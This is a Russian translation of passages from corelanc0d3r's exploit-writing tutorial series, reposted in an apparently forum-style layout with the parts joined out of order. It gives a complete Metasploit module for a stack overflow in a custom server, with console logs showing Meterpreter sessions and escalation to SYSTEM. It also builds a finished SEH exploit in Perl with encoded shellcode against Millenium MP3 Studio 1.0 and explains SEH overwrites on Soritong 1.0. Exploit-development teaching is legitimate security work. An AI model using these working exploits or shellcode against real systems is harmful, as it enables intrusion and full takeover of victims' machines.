смещение к ret (чтобы перезаписать eip) на 504 байта
адрес jump в windows 2003 R2 SP2 (English) равный 0x71C02B67
шеллкод не должен содержать 0×00 или 0xff
шеллкод должен быть длиной приблизительно в 1400 байтов
После проведения некоторых тестов на Windows XP SP3 (English), мы решаем, что выбранное смещение сохраниться, но адрес jmp должен быть изменен (например, на 0x7C874413). Мы напишем metasploit модуль, который позволит нам выбирать одну из двух целей, и будет использовать правильный адрес jmp.
Подгоняем эксплойт к metasploit.
Во-первых, мы должны определить тип нашего эксплойта, чтобы определит папку в пределах структуры metasploit, где и будет храниться эксплойт. Если бы наш эксплойт был нацелен на Windows ftp server программы, он должен был бы быть помещен в директории с эксплойтами под windows ftp серверы.
_Модули Metasploit хранятся в framework3xx, в дирректории под названием
/modules/exploits. В этой папке эксплойты разделены в зависимости от
операционной системы, а затем от сервисов, на которые они рассчитаны.
_
Наш сервер запускается на windows, таким образом, мы относим его к категории
windows. Категория windows уже содержит многие папки (от antivirus до wins), и
включает в себя папку misc. Мы отнесем наш эксплойт к misc (или к telnet),
потому что он в действительности не принадлежит ни к одному из других типов.
Мы создадим свой metasploit модуль под %metasploit %/modules/windows/misc:
root@backtrack4:/# cd /pentest/exploits/framework3/modules/exploits/windows/misc
root@backtrack4:/pentest/exploits/framework3/modules/exploits/windows/misc# vi custom_vulnserver.rbClick to expand...
Code:Copy to clipboard
#
#
# Custom metasploit exploit for vulnserver.c
# Written by Peter Van Eeckhoutte
#
#
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Custom vulnerable server stack overflow',
'Description' => %q{
This module exploits a stack overflow in a
custom vulnerable server.
},
'Author' => [ 'Peter Van Eeckhoutte' ],
'Version' => '$Revision: 9999 $',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1400,
'BadChars' => "\x00\xff",
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP3 En',
{ 'Ret' => 0x7c874413, 'Offset' => 504 } ],
['Windows 2003 Server R2 SP2',
{ 'Ret' => 0x71c02b67, 'Offset' => 504 } ],
],
'DefaultTarget' => 0,
'Privileged' => false
))
register_options(
[
Opt::RPORT(200)
], self.class)
end
def exploit
connect
junk = make_nops(target['Offset'])
sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
sock.put(sploit)
handler
disconnect
end
end
Мы видим следующие компоненты:
во-первых, строку “ require msf/core ”, которая будет действительна для всех эксплойтов в metasploit
определение класса. В нашем случае это - remote exploit.
затем, информацию о эксплойте и его определение:
include: в нашем случае это - tcp соединение, таким образом, мы используем Msf::Exploit::Remote:cp
Information:
Полезная нагрузку(payload): определите длину и плохие символы (0×00 и 0xff в нашем случае)
Определите цели, и параметры настройки, такие как адрес возврата, смещение, и т.д.
Exploit:
connect (который настроит связь с удаленным портом),
создание буфера:
junk (nop’ы, с длиной смещения)
добавьте адрес возврата, больше nop’ов, и затем закодированную полезную нагрузку
буфер для соединения
интерфейс(handle) эксплойта
o разъединение(disconnect)
Теперь откройте msfconsole. Если в Вашем сценарии произойдет ошибка, то Вы
увидите информацию о ней, в то время как загрузится msfconsole. Если
msfconsole был уже загружен, Вы должны будете перезапустить его прежде, чем
сможете использовать этот новый модуль (или прежде, чем Вы сможете
использовать обновленный модуль, если Вы делали изменения)
Провериим эксплойт:
Тест №1: Windows XP SP3
root@backtrack4:/pentest/exploits/framework3# ./msfconsole
| | ) |
____ \ _ \ __| _
| | __ \ | _ \ | |
| | | / | ( |\ \ | | | ( | | |
| | |\|\|\,|____/ ./ |\/ _|\__|
_|=[ msf v3.3-dev
+ -- --=[ 395 exploits - 239 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 187 auxmsf > use windows/misc/custom_vulnserver
msf exploit(custom_vulnserver) > show optionsModule options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 200 yes The target portExploit target:
Id Name
-- ----
0 Windows XP SP3 Enmsf exploit(custom_vulnserver) > set rhost 192.168.24.10
rhost => 192.168.24.10
msf exploit(custom_vulnserver) > show targetsExploit targets:
Id Name
-- ----
0 Windows XP SP3 En
1 Windows 2003 Server R2 SP2msf exploit(custom_vulnserver) > set target 0
target => 0
msf exploit(custom_vulnserver) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(custom_vulnserver) > show optionsModule options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.24.10 yes The target address
RPORT 200 yes The target portPayload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST 192.168.24.10 no The target addressExploit target:
Id Name
-- ----
0 Windows XP SP3 Enmsf exploit(custom_vulnserver) > exploit
[] Started bind handler
[] Transmitting intermediate stager for over-sized stage...(216 bytes)
[] Sending stage (718336 bytes)
[] Meterpreter session 1 opened (192.168.24.1:42150 -> 192.168.24.10:4444)meterpreter > sysinfo
Computer: SPLOITBUILDER1
OS : Windows XP (Build 2600, Service Pack 3).Click to expand...
Тест №2: Windows Server 2003 R2 SP2
meterpreter >
meterpreter > quit[*] Meterpreter session 1 closed.
msf exploit(custom_vulnserver) > set rhost 192.168.24.3
rhost => 192.168.24.3
msf exploit(custom_vulnserver) > set target 1
target => 1
msf exploit(custom_vulnserver) > show optionsModule options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.24.3 yes The target address
RPORT 200 yes The target portPayload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST 192.168.24.3 no The target addressExploit target:
Id Name
-- ----
1 Windows 2003 Server R2 SP2msf exploit(custom_vulnserver) > exploit
[] Started bind handler
[] Transmitting intermediate stager for over-sized stage...(216 bytes)
[] Sending stage (718336 bytes)
[] Meterpreter session 2 opened (192.168.24.1:56109 -> 192.168.24.3:4444)meterpreter > sysinfo
Computer: WIN2003-01
OS : Windows .NET Server (Build 3790, Service Pack 2).meterpreter > getuid
Server username: WIN2003-01\Administrator
meterpreter > psProcess list
PID Name Path
--- ---- ----
300 smss.exe \SystemRoot\System32\smss.exe
372 winlogon.exe ??\C:\WINDOWS\system32\winlogon.exe
396 Explorer.EXE C:\WINDOWS\Explorer.EXE
420 services.exe C:\WINDOWS\system32\services.exe
424 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
432 lsass.exe C:\WINDOWS\system32\lsass.exe
652 svchost.exe C:\WINDOWS\system32\svchost.exe
832 svchost.exe C:\WINDOWS\System32\svchost.exe
996 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1132 svchost.exe C:\WINDOWS\System32\svchost.exe
1392 dllhost.exe C:\WINDOWS\system32\dllhost.exe
1580 svchost.exe C:\WINDOWS\System32\svchost.exe
1600 svchost.exe C:\WINDOWS\System32\svchost.exe
2352 cmd.exe C:\WINDOWS\system32\cmd.exe
2888 vulnserver.exe C:\vulnserver\lcc\vulnserver.exemeterpreter > migrate 996
[] Migrating to 996...
[] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMClick to expand...
pwned!
Вы можете найти больше информации о Metasploit API (и доступные классы) на официальном сайте проекта по адресу: http://www.metasploit.com/documents/api/msfcore/index.html
Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ
8/2011
В предыдущей части руководства я объяснил основы создания SEH-эксплойтов. Я упомянул, что в самом простом случае полезная нагрузка SEH-эксплойта имеет такую структуру:
[junk][nextSEH][SEH][Shellcode]
Я указал, что SEH должен быть перезаписан указателем на "pop,pop,ret", и что nextSEH должен быть переpfписан 6 байтами, чтобы перепрыгнуть через SEH… Конечно, эта структура была основана на логике SEH-уязвимости, и более применима к уязвимости в Easy RM to MP3 Player. Таким образом, это только пример демонстрирующий концепцию уязвимости в SEH, при которой вы должны видеть значения всех регистров, использовать контрольные точки, и т.п., чтобы определить область для полезной нагрузки и самого шеллкода. Наблюдая за стеком строили структуру полезной нагрузки…
Иногда вам может улыбнуться удача, и полезная нагрузка может быть построена почти мгновенно. Иногда вам не хватает везения, и вы прилаживаете намного больше усилий для того, чтобы эксплойт мог стабильно работать в нескольких версиях ОС. Иногда вы будете прибегать к использованию жесткой адресации потому, что это будет единственный способ сделать рабочий эксплойт. В любом случае, большинство эксплойтов различны между собой, т.к. это ручная работа, основанная на определенных свойствах уязвимости и доступных методов для её эксплуатации.
В данной части руководства мы рассмотрим создание эксплойта для уязвимости, которая была обнаружена в Millenium MP3 Studio.
В PoC скрипте (вероятно основанном на значениях регистров) говорится о том, что уязвимость легко эксплуатировать, но автор находки этого сделать не смог.
Основываясь на значениях регистров, которые показал “Hack4love”(автор найденной уязвимости), можно было предположить, что это типичное стековое переполнение, где EIP перезаписан мусором. Таким образом, вы должны найти смещение к EIP, найти полезную нагрузку в одном из регистров, и перезаписать EIP “переходом к …”, так? Хмм… Не совсем.
Давайте разбираться. Создайте файл с “http://” … +5000 A, и запустив его в приложении, через windbg, посмотрим, что произойдет.
Code:Copy to clipboard
#!usr/bin/perl
my $sploitfile="c0d3r.mpf";
my $junk = "http://";
$junk=$junk."A"x5000;
my $payload=$junk;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";
Откройте windbg и запустите mp3studio. Запустите выполнение программы и откройте файл.
Нарушение доступа (Access violation), но значения регистров никак не соответствуют заявленным в PoC-скрипте. Значит, любая длина буфера является неправильной (чтобы вызвать типичное перезаписывающее EIP переполнение стека), или эта уязвимость основана на SEH. Посмотрим на SEH-цепочку, чтобы определиться:
так, хорошо. И SE Handler и nextSEH перезаписаны. Значит, это будет SEH- эксплойт.
Создайте другой файл с шаблоном из 5000 символов при помощи утилиты из Metasploit, чтобы определить смещение к nextSEH и SE Handler’у:
Теперь SEH-цепочка выглядит так:
Таким образом SE Handler был перезаписан на 0?39466830 (little endian, помните), и next SEH был перезаписан на 0?67384667
Это уже имеет какой-то смысл.
Теперь, для типичного SEH-эксплойта, вы сделаете следуещее:
или perl-скрипт (использующий некоторое подставные данные для того, чтобы проверить смещения):
Code:Copy to clipboard
#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="BBBB";
my $seh="CCCC";
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)."
Крах:
Таким образом, SE Handler был перезаписан на 43434343 (4 C, как и ожидалось),
а nextSEH был перезаписан на 42424242 (4 B, как и ожидалось).
Давайте заменим SE Handler указателем на pop,pop,ret, и nextSHE заменим
четырьмя контрольными точками.
Обратите внимание на список загруженных модулей и попытайтесь найти в одном из
них последовательность pop,pop,ret. (Вы можете использовать плагин Ollydbg
"SafeSEH", чтобы увидеть, собраны ли модули с safeSEH или нет).
xaudio.dll, одна из прикладных dll, содержит многократные pop,pop,ret. Мы
будем использовать этот 0x1002083D:
Code:Copy to clipboard
#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc"; #контрольная точка
my $seh=pack('V',0x1002083D);
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";
При первом нарушении доступа (Access violation) мы направим исключение назад к приложению. pop,pop,ret был выполнен, и вы должны закончить на коде контрольной точки (в nseh).
Где теперь наша полезная нагрузка? Это должно быть похоже на большое количество D (после seh)…, но это могут быть и A (из начала буфера). Давайте поределят.Если полезная нагрузка находится после seh, (и приложение остановилось на контрольной точке), то EIP должен теперь указывать на первый байт nextSEH (код контрольной точки), и таким образом дамп eip долеж показать nseh, сопровождаемый seh, после которого идет шеллкод:
Это выглядит многообещающе, однако мы видим некоторые нулевые байты после
первых 32 байт. Значит, у нас есть 2 варианта: использовать 4 байта кода в
nseh, чтобы перепрыгнуть через seh, и затем использовать те 16 байт, чтобы
перепрыгнуть через нулевые байты. Или же сделать переход непосредственно из
nseh в шеллкода.
Во-первых, давайте проверим, что мы действительно смотрим в начала шеллкода
(заменяя первые D какими-нибудь легко узнаваемыми данными):
Code:Copy to clipboard
#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc";
my $seh=pack('V',0x1002083D);
my $shellcode="A123456789B123456789C123456789D123456789";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$shellcode));
my $payload=$junk.$nseh.$seh.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";
Хорошо, это начало шеллкода, но в нем есть небольшое "отверстие" после первых
двух байт…
Скажем, мы хотим перепрыгнуть через отверстие, и начать шеллкод с 4 NOP’ов
(таким образом мы можем поместить свой реальный шеллкод в 0012f9c0…, используя
всего 24 NOP’а перед шеллкодом), тогда мы должны сделать скачок (от nseh) на
30 байт. Это - 0xeb, 0x1e:
Code:Copy to clipboard
#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #прыжок на 30 байт
my $seh=pack('V',0x1002083D);
my $nops = "\x90" x 24;
my $shellcode="\xcc\xcc\xcc\xcc";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";
Открыв mpf файл, вы должны быть остановлены в контрольной точке (в 0x0012f9c0) после прохождения первого исключения:
Хорошо, теперь замените контрольные точки в коде на реальный шеллкод:, тем самым завершив код эксплойта:
Code:Copy to clipboard
#!usr/bin/perl
# [+] Vulnerability : .mpf File Local Stack Overflow Exploit (SEH) #2
# [+] Product : Millenium MP3 Studio
# [+] Versions affected : v1.0
# [+] Download : http://www.software112.com/products/mp3-millennium+download.html
# [+] Method : seh
# [+] Tested on : Windows XP SP3 En
# [+] Written by : corelanc0d3r (corelanc0d3r[at]gmail[dot]com
# [+] Greetz to : Saumil & SK
# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277
# -----------------------------------------------------------------------------
# MMMMM~.
# MMMMM?.
# MMMMMM8. .=MMMMMMM.. MMMMMMMM, MMMMMMM8. MMMMM?. MMMMMMM: MMMMMMMMMM.
# MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:
# MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:
# MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:
# MMMMM=. MMMMM=MMMMM=MMMMM7. 8MMMMM? . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:
# MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:
# =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:
# .:$MMMMMO7:..+OMMMMMO$=.MMMMM7. ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:
# .,,,.. .,,,,. .,,,,, ..,,,.. .,,,,.. .,,...,,,. .,,,,..,,,,.
# eip hunters
# -----------------------------------------------------------------------------
#
# Script provided for educational purposes only.
#
#
#
my $totalsize=5005;
my $sploitfile="c0d3r.m3u";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #прыжок на 30 байт
my $seh=pack('V',0x1002083D); #pop pop ret из xaudio.dll
my $nops = "\x90" x 24;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";
pwned!
Упражнение
У меня есть небольшое упражнение для вас: попытайтесь написать рабочий эксплойт для m3u файла, и посмотрите, сможете ли вы найти способ заменить EIP- переполнение на SEH.
Примечание : шеллкод не должен быть помещен после nseh/seh. Он должен быть помещен в первую часть буфера полезной нагрузки, и вы при этом можете использовать:
SEH-эксплойт для m3u файлов почти идентичен mpf версии, поэтому я не стану сейчас это описывать.
Если вы хотите обсудить это упражнение, пожалуйста, зарегистрируйтесь и создайте топик на форуме: <http://www.corelan.be:8800/index.php/forum/writing- exploits/>.
Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ
8/2011
В первых двух частях данного руководства, мы обсудили, как происходят классические переполнения буфера в стеке, и каким образом можно создать надежный эксплойт с использованием различных методик перехода к шеллкоду. Пример, который мы использовали, позволил нам перезаписать EIP, и у нас было достаточно места в буфере для размещения шеллкода. Вдобавок ко всему, у нас была возможность использовать множество методик перехода, чтобы достигнуть нашей конечной цели. Но не все переполнения так просты в эксплуатации.
Сегодня, мы рассмотрим другую методику, позволяющую эксплуатировать уязвимость, с использованием обработчиков исключений (exception handlers).
Что такое обработчик исключений?
Обработчик исключений - это часть кода, которая находится в приложении для обработки особых ситуаций (исключений) с которыми данное приложение может столкнуться во время работы. Типичная обработка исключений выглядит следующим образом:
Code:Copy to clipboard
try
{
// выполниться, если происходит исключение, и перейдет к <catch>
}
catch
{
//выполняется когда происходит исключение
}
Так взаимосвязаны try и catch в стеке:
В Windows SEH (Structured Exception Handler - Структурированный Обработчик Исключений) встроен по умолчанию. Если Windows перехватывает исключение, то мы увидим примерно следующее всплывающее сообщение: “xxx столкнулся с проблемой и должен закрыться”. Это является результатом обработчика. Очевидно, для того, чтобы писать стабильное программное обеспечение, необходимо использовать языки программирования, которые включают встроенный обработчик, а не полагаться на стандартный обработчик Windows. Если программа не использует обработчик исключений, или когда доступные обработчики не смогут обработать исключение, то будет использоваться Windows SEH (UnhandledExceptionFilter). Таким образом, в случае ошибки или запрещенной инструкции, приложение получит шанс их удачно обработать, и не завершиться аварийно. В большинстве случаев Windows SEH выдаст сообщение об исключении и предложит послать отчет о случившемся в Microsoft.
У приложения, для того, чтобы быть в состоянии перейти к коду исключения (блок catch), указатель на код обработчика особых ситуаций сохраняется в стеке (для каждого блока кода). У каждого из блоков кода есть своя область в стеке, так называемый SEH-frame, и в каждой из них храниться указатель на обработчик каждого из блоков кода. Информация о всех фреймах хранится в стеке в структуре exception_registration.
Эта структура (также называемая SEH-record) составляет 8 байтов и имеет 2 (4-байтовых) элемента:
Простое представление стека относительно цепных компонентов SEH:
Поверх главного блока данных (блок данных "главной" функции приложения, или TEB/TIB - блок информации потока) помещен указатель на вершину SEH-цепочки. Эту SEH-цепочку также часто называют FS:[0]-цепочкой.
Таким образом, на машинах Intel, взглянув на дизассемблированный код SEH, мы увидим инструкцию, перемещающую DWORD ptr из FS:[0]. Это гарантирует, что обработчик исключений установлен для потока и будет в состоянии захватить ошибки, когда они в нём произойдут. Код операции для этой инструкции 64A100000000. Если вы не можете найти этот опкод, возможно, что у приложения/потока вообще нет обработки исключений.
Для построения подобной функциональной блок-схемы, вы можете использовать плагин к OllyDBG под названием OllyGraph.
Небольшой пример: скомпилируйте следующий исходный код (sehtest.exe) и загрузите полученную программу в WinDbg (без запуска).
Code:Copy to clipboard
#include<stdio.h>
#include<string.h>
#include<windows.h>
int ExceptionHandler(void);
int main(int argc,char *argv[]){
char temp[512];
printf("Application launched");
__try {
strcpy(temp,argv[1]);
} __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf("Exception");
return 0;
}
Обратите внимание на загруженные модули:
Приложение находится между 00400000 и 0040c000
Найдем в этой области код операции 64 A1:
Это доказывает то, что обработчик исключений зарегистрирован. Сделаем дамп TEB:
Указатель указывает на 0x0012fd0c (начало SEH-цепи). Взглянув на эту область, мы увидим:
ff ff ff ff указывает на конец SEH-цепи. Это нормально, т.к. приложение еще не начало выполняться (Windbg все еще приостановлен).
Если у вас имеется установленный плагин Ollygraph, вы можете открыть выполняемую программу в ollydbg и построить граф, который укажет, установлен ли обработчик исключений или нет:
Когда мы начнем выполнение приложение (F5 или 'g'), мы увидим следующее:
Для главной функции теперь установлен TEB. SEH-цепочка в точке главной функции по адресу 0x0012ff60, сделав дамп по которому, мы видим обработчик исключений, и его начальный адрес 0x0012ffb0
В OllyDbg всё более упрощенно, и выглядит примерно так:
Здесь мы можем видеть функцию обработчика - ExceptionHandler ().
Из примера выше, вы могли убедиться в том, что обработчики исключений, соединены/связаны друг с другом, формируя цепочку в виде связанного списка в стеке, и находятся на его дне. Когда происходит исключение, Windows ntdll.dll приостанавливает процесс, отыскивает начало SEH-цепочки (находится в начале TEB/TIB), проходит по списку обработчиков, и пытается найти подходящий для возникшей ситуации. Если подходящий из обработчиков не будет найден, то по умолчанию буде задействован обработчик Windows ( находится внизу стека, после FFFFFFFF).
Узнать больше о SEH вы можете в превосходной статье Matt Pietrek 1997 года, по адресу:http://www.microsoft.com/msj/0197/exception/exception.aspx
Наблюдаем за SEH в действии, через Ollydbg
При обычном переполнении буфера в стеке, мы перезаписываем адрес возврата (EIP) и заставляем приложение перейти к шеллкоду. Осуществляя переполнение в SEH, мы также перезаписываем стек после перезаписывания EIP, и таким образом мы сможем перезаписать стандартный обработчик исключения. Как это позволит нам эксплуатировать уязвимость, станет скоро более понятным.
Давайте воспользуемся уязвимостью в MP3-плейере Soritong 1.0, обнародованной 20-ого июля 2009.
Скачать его можно здесь: [http://www.softpedia.com/get/Multimedia/Au.../Soritong.shtml](http://www.softpedia.com/get/Multimedia/Audio/Audio- Players/Soritong.shtml)
Уязвимость возникает в файле обложки, и может вызвать переполнение. Мы воспользуемся следующим perl-скриптом для того, чтобы создать файл под названием UI.txt в папке skin\default:
Code:Copy to clipboard
#!usr/bin/perl
$uitxt = "ui.txt";
my $junk = "A" x 5000;
open(myfile,">$uitxt");
print myfile $junk;
Теперь запустим soritong. Программа падает (вероятно, из-за обработчика исключений, которому не удалось найти адрес подходящего SEH (потому что он был перезаписан).
Мы будем работать с Ollydbg, чтобы явно показать стек и SEH-цепочку. Запустите Ollydbg и откройте в нем soritong.exe . Нажмите кнопку "play", чтобы запустить выполнение программы. Вскоре после запуска, программа падает и останавливается в таком положении:
Приложение завершилось в 0x0042E33. В этой точке стек находится в 0x0012DA14. У основания стека (в 0012DA6C), мы видим FFFFFFFF, который указывает на конец SEH-цепи. Чуть ниже 0x0012DA14 мы видим 7E41882A, который является адресом стандартного SE-обработчика для этого приложения. Этот адрес находится в адресном пространстве user32.dll.
Несколько строк выше в стеке, мы можем видеть адреса других обработчиков исключений, но все они принадлежат ОС (ntdll в данном случае). Похоже, что программа (или по крайней мере функция, которая вызвали исключение) не имеет собственного обработчика.
Если мы посмотрим на потоки (View - Threads) и выбрав первый поток (который указывает на начало программы), щелкнем правой кнопкой мыши и выберем ‘dump thread data block’, мы увидим указатель на SEH-цепочку:
Значит, что обработчик исключения работает. Мы вызвали исключение (создав модифицированный ui.txt файл), и программа перешла к SEH-цепочке (по адресу 0x0012DF64).
Откройте меню отладчика "View – SEH chain”
Адрес обработчика SE указывает на местоположение, где находиться код, который нужно выполнить, чтобы возникло исключение.
Обработчик SE был перезаписан четырьмя «A». Когда исключение будет обработано, EIP будет перезаписан адресом SE-обработчика. Так как мы можем управлять значением в обработчике, то нам по силам сделать так, чтобы он выполнил наш собственный код.
Наблюдаем за SEH в действии, через Windbg
Теперь повторим наблюдение с применением Windbg. Закройте Ollydbg, запустите windbg и откройте soritong.exe.
Отладчик сначала приостанавливается (он помещает контрольную точку прежде, чем выполнить программу). Запускаем выполнение программы командой «g» (go), либо нажатием F5.
Запускаем поток выполнения, и вскоре он приостанавливается. Windbg сообщает нам “ first change exception”. Это означает, что windbg заметил, что было вызвано исключение, и даже прежде, чем исключение могло быть обработано программой, windbg остановил прикладной поток:
Сообщение “ This exception may be expected and handled”.
Cмотрим на стек:
ffffffff указывает конец SEH- цепи. Если мы выполним команду !analyze -v, мы получим следующее:
FAULTING_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810 mov byte ptr [eax],dlEXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 00130000
Attempt to write to address 00130000FAULTING_THREAD: 00000a4c
PROCESS_NAME: SoriTong.exe
ADDITIONAL_DEBUG_TEXT:
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.FAULTING_MODULE: 7c900000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP: 37dee000
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 00130000
WRITE_ADDRESS: 00130000
FOLLOWUP_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810 mov byte ptr [eax],dlBUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMBOLS
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE
DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE
IP_MODULE_UNLOADED:
ud+41414140
41414141 ?? ???LAST_CONTROL_TRANSFER: from 41414141 to 00422e33
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3
0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd40 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd44 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd48 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd4c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd50 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
